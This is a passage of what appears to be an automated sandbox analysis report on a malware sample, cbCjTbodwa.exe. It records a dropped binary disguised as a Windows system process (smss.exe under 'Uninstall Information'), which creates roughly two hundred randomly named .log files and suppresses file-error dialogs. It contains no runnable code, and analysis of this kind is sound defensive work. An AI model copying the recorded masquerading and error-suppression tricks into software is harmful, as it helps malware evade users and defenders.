                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\BnCbxKtG.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\kglwdYOs.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\axSgtvJK.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\RPyQJTEc.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\HgfAZqyv.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\XzsXIPiL.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile created: C:\Users\user\Desktop\OWjhYWSe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\awNfpiXf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\wPmufWmp.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nmeEvdWI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lbIDvKrH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\VZCzbHCt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\TPgybpWs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JgNirMRL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kwnOogWP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\hlRNoOrO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RjMIUKBA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GqWrkPRR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\qoQnRMbD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gFxXhjWW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OtVRNOBH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EKCBdlwZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ubimtJqr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\knEvJxvJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\aFkfZUqc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\KDfbGRAO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\IsIaGzVN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\qghUmdAy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\hCYfCjlQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EjbTYgWt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YxpHNlwD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PUhSdrgW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\NJLRdZBV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EbrBtxwn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vxjLKDgG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nTbWaKQZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cgwfqyWr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MeqbWvgd.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CvXLmSbv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\AkBKmAvu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jdkfTNQg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ZuRPjlLy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\QMxzzIGQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GdejPgAj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\oRCevKfU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WEaYcoKF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MVHIsMFX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DsyTISqq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vOqdYZaJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kaLnoNfb.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SOkiUrKM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\iCJxNIrA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\QpirumWl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GHObKKRD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xYvLahMV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\npbvqFGo.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\eGIfGcBG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DQYlDNRK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mJHGjalv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kzlFjIGv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bVcPzPqN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RmJzPmlg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JJBKftVy.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CCpKTrIN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WREyIwhX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OnvJYDSq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\EEctoaMI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nxLOVoht.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\msAnVFrt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cJhXlcmL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LCQsRpHx.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CTwchNCP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\sldNxkwh.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\dnRPfGDg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nOBNlzhI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\eksYBGSa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\UBZIRdMt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LSGshBHL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CpxCxIse.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tGemOfmw.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\czNHusHi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SQtrKQCA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HcPBaEHS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\qVyWGScD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\fhUgXGhV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OaDBDTBH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DmZKTIGZ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\laxFzmmK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\USgagzGv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\BBtuMuwg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kucPsHQR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\aLJzIfLk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YBnyINgj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GoLtprLU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xLDDFxvn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cVOhKnxw.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gcLqgFrs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WtsawdmK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MLYKMAhd.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DcFucYbv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CXuUcpmv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mVoPJlwh.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cmVzZJrz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SDBjpglR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JUiTFEgk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zmODVbbC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ieyYBown.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YweISMqG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PNLtijlY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FerdyHgq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vvYNOfbJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LXUCbnlf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tKswHRQQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jbZgXoKi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ayRrnvvB.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RPxbDTqT.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PFbaDAKS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\KFtuhByL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\msFxGQxC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WqzsnMHo.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\Ugdrnucn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\KxKbDRXG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CUBmTYHY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\sliWjwCr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\beRrPJXc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RvybggSu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HHTkwVXM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\pACFciry.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WiQaIdhi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FbzvpqBU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vsffFOwm.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lEBoVCBE.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bWhYlawW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\JJGTREbI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zamDhbWa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jYgyOYgM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\YkCIeMle.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HdldKaGP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FTPcKHbO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vbEWLcJT.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OkIkBytc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FHzuREdv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\wYgehcYN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mpMPxzTg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\fRPzNptz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\TYajduIQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DWUeKrTC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tnAOaONV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kEhyqmIn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xVHnDcnI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gOqIjpIu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\VaMRzdNM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ETvmfrix.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ukcWvOcP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lBIGMmXi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SkWashNS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\IBCLIEHl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\szwGoBSX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\rulgoRcW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gGHpEGho.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\XcyAVMRH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\CvhdKpmN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mtbZqlwz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\cFxiHZBR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\SXdSXxwk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zFqnDsmU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\gtPhjWRF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\HIpNgqWJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xZWxwORc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\nqDhMlLu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\dCYqcZQM.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\TUFasxLe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DSzWZtVQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\tjfGpRQj.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jvBQFFVB.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PdOklALl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\zcIfRxVX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\xRmeReqW.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\poepilap.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WbCjOPFa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\OyuueWqt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\krpqVCsE.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\MeAtuRrv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\odKZrBvL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\emHqcqPY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\WJzBtwzr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\FCiWZKUc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\uOEfpyZu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\lkvqFFKN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bwRAVtPf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\LuLvCpZR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\AGgFSeej.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\jzQayrzU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ZQwKOPum.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\PiduemoF.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\GzJevKjX.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\vLfoLyop.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\mhXybFYI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\dzDircTa.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\DOeOnwYe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\ufLyEUTx.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\kwriUrOP.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\bTjskyyi.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\RfECAmDA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeFile created: C:\Users\user\Desktop\IBwMQtoS.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
